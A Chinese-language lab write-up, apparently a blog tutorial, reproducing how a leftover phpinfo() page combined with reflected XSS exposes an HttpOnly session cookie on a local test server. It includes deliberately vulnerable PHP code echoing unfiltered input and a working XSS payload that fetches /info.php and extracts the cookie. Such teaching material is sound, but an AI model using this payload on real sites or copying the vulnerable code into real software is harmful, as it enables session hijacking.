漏洞复现指南:利用 phpinfo() 绕过 HttpOnly Cookie 保护

1. 实验综述

本实验旨在展示一个经典的"漏洞链":利用服务器配置错误(泄露的 phpinfo.php)配合跨站脚本攻击(XSS),成功绕过浏览器对 HttpOnly Cookie 的安全保护。


2. 环境搭建

你需要一个支持 PHP 的本地环境(如 XAMPP 或 Ubuntu + Apache/Nginx)。

2.1 服务器环境确认

确保 PHP 环境已正常运行。

截图参考:系统环境确认(如 PHP 7.4.3 版本)。

2.2 创建漏洞页面 vuln.php

该页面模拟两个关键点:手动设置一个受 HttpOnly 保护的敏感 Cookie,以及一个未经过滤的 XSS 注入点。

php 复制代码
<?php
// vuln.php
// 1. 模拟登录:设置一个 HttpOnly 的 Cookie
setcookie("SecretSessionID", "A1B2C3D4E5_VERY_SECRET", [
    'expires' => time() + 3600,
    'path' => '/',
    'httponly' => true, // 关键点:浏览器脚本理论上无法读取此 Cookie
    'samesite' => 'Strict'
]);
// 2. 模拟 XSS 漏洞:直接回显用户输入的 'name' 参数
$name = isset($_GET['name']) ? $_GET['name'] : 'Guest';
?>
<!-- HTML 部分省略,包含一个显示 $name 的位置 -->

2.3 创建信息泄露页面 info.php

模拟生产环境中被遗留的诊断文件。

php 复制代码
<?php
// info.php
phpinfo();
?>

3. 复现流程

步骤 1:确认 HttpOnly 保护生效

  1. 访问 http://localhost/vuln.php
  2. 打开开发者工具 (F12) -> Storage -> Cookies。
  3. 确认 SecretSessionIDHttpOnly 属性已勾选。此时,在控制台输入 document.cookie 将无法看到该值。

截图参考 :浏览器中 Cookie 的 HttpOnly 状态。

步骤 2:确认 phpinfo() 信息泄露

  1. 访问 http://localhost/info.php
  2. 搜索 HTTP_COOKIE 字段。
  3. 发现风险 :由于服务器会打印完整的 HTTP 请求头,受保护的 SecretSessionID 明文显示在 HTML 页面中。

步骤 3:构造并注入攻击 Payload

由于 document.cookie 被封锁,攻击者利用 JavaScript 发起异步请求来读取 info.php 的响应内容,并从中提取 Cookie。

攻击 Payload 逻辑

  1. 使用 fetch() 访问同域下的 /info.php
  2. 获取响应的文本内容。
  3. 使用正则表达式匹配 SecretSessionID 后的字符串。
  4. 将提取到的值通过弹窗或外传展示。

URL 注入链接

text 复制代码
http://localhost/vuln.php?name=<script>fetch('/info.php').then(r=>r.text()).then(t=>{alert(t.match(/SecretSessionID=[a-zA-Z0-9_-]+/))})</script>

注意:在实际测试中,Payload 需要进行转义或 URL 编码以防语法错误。

步骤 4:执行攻击与结果验证

  1. 将构造好的链接粘贴至浏览器访问。
  2. 预期结果:页面执行注入的脚本,并弹出包含受保护 Cookie 的警告框。

截图参考 :成功绕过 HttpOnly 提取到的 Cookie 弹窗。


4. 结论与风险总结

  • 高危风险 :此漏洞允许攻击者完全接管用户会话,即便开启了 HttpOnly 防御。
  • 防御失效 :原本用于防止 XSS 窃取 Cookie 的安全标志,在 phpinfo() 的"协助"下彻底失效。

比喻理解 : 设置 HttpOnly 标志就像给房子安装了防盗门 ,让小偷没法直接拿到钥匙;但公开暴露 phpinfo.php 就像在门旁的告示牌上贴了一张钥匙的详细蓝图。攻击者通过 XSS 潜入院子后,只需照着蓝图"复刻"一把,依然能打开你的防盗门。

相关推荐
换日线°1 小时前
前端炫酷展开效果
前端·javascript·vue
夏幻灵2 小时前
过来人的经验-前端学习路线
前端
CappuccinoRose2 小时前
React框架学习文档(七)
开发语言·前端·javascript·react.js·前端框架·reactjs·react router
FFF-X2 小时前
前端字符串模糊匹配实现:精准匹配 + Levenshtein 编辑距离兜底
前端
Hi_kenyon3 小时前
Ref和Reactive都是什么时候使用?
前端·javascript·vue.js
止观止3 小时前
深入理解 interface vs type:终结之争
前端·typescript
css趣多多3 小时前
vue环境变量
前端
RFCEO3 小时前
前端编程 课程十五、:CSS核心基础3:文字+段落样式
前端·css·文字+段落样式·css文本样式·美化页面文本内容·演示动画说明·单行文字垂直居中技
摇滚侠3 小时前
【程序员入门系列】jQuery 零基础入门到精通!Jquery 选择器 API
前端·javascript·jquery
源力祁老师3 小时前
深入解析 Odoo 中 default_get 方法的功能
java·服务器·前端